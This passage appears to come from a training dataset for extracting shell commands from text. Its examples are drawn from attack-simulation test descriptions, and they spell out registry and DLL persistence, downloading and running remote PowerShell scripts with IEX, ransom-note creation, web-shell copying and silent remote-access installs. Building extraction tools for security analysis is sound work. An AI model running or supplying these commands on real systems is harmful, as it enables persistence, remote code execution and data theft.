    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique establishes persistence by copying a binary to System32 and configuring it as the screensaver, which requires executing the following commands: reg export \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0; To copy and delete mail data on Windows, use the following command sequence:\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore",
    "output": "{\"command_list\": [\"reg export \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" %userprofile%\\\\backup.reg\\ncopy #{input_binary} \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\"\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveActive /t REG_SZ /d 1 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v SCRNSAVE.EXE /t REG_SZ /d \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\" /f\\nif #{reboot} NEQ 0 shutdown /r /t 0\\n\", \"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nRemove-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module writes clipboard contents to a file by executing the command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nSet-Clipboard -value \"Atomic T1115 Test, grab data from clipboard via VBA\"\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1115\\src\\T1115-macrocode.txt\" -officeProduct \"Word\" -sub \"GetClipboard\"; For saving the last 30 commands from history to both clipboard and a text file, execute these commands: apt install xclip -y\nhistory | tail -n 30 | xclip -sel clip\nxclip -o > history.txt",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nSet-Clipboard -value \\\"Atomic T1115 Test, grab data from clipboard via VBA\\\"\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1115\\\\src\\\\T1115-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"GetClipboard\\\"\\n\", \"apt install xclip -y\\nhistory | tail -n 30 | xclip -sel clip\\nxclip -o > history.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To build the IOC for PureLocker ransomware, create a file named YOUR_FILES.txt on the desktop with the following command: echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\Desktop\\YOUR_FILES.txt; For file encryption using 7z, execute this command: 7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}\n",
    "output": "{\"command_list\": [\"echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\\\Desktop\\\\YOUR_FILES.txt\\n\", \"7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The persistence mechanism works by stopping the time service, deploying a DLL, and configuring registry keys via this command sequence: net stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time; To establish persistence, first stop the w32time service and copy the DLL to the Public folder, then modify the NtpServer registry key with the following commands:\nnet stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time",
    "output": "{\"command_list\": [\"net stop w32time\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.003\\\\bin\\\\AtomicTest.dll\\\" C:\\\\Users\\\\Public\\\\AtomicTest.dll\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\AtomicTest\\\" /t REG_SZ /v \\\"DllName\\\" /d \\\"C:\\\\Users\\\\Public\\\\AtomicTest.dll\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\AtomicTest\\\" /t REG_DWORD /v \\\"Enabled\\\" /d \\\"1\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\AtomicTest\\\" /t REG_DWORD /v \\\"InputProvider\\\" /d \\\"1\\\" /f\\nnet start w32time\\n\", \"net stop w32time\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.003\\\\bin\\\\AtomicTest.dll\\\" C:\\\\Users\\\\Public\\\\AtomicTest.dll\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_SZ /v \\\"DllName\\\" /d \\\"C:\\\\Users\\\\Public\\\\AtomicTest.dll\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_DWORD /v \\\"Enabled\\\" /d \\\"1\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_DWORD /v \\\"InputProvider\\\" /d \\\"1\\\" /f\\nnet start w32time\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary leveraging Web Shells (inspired by APTSimulator), perform the file modification with this command: xcopy /I /Y \"#{web_shells}\" #{web_shell_path}\n; An attacker might deceive a user into downloading TeamViewer to maintain persistent access, which can be achieved by running the following command: Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process -Wait $file1 /S; \nStart-Process 'C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe'",
    "output": "{\"command_list\": [\"xcopy /I /Y \\\"#{web_shells}\\\" #{web_shell_path}\\n\", \"Invoke-WebRequest -OutFile C:\\\\Users\\\\$env:username\\\\Desktop\\\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\\n$file1 = \\\"C:\\\\Users\\\\\\\" + $env:username + \\\"\\\\Desktop\\\\TeamViewer_Setup.exe\\\"\\nStart-Process -Wait $file1 /S; \\nStart-Process 'C:\\\\Program Files (x86)\\\\TeamViewer\\\\TeamViewer.exe'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 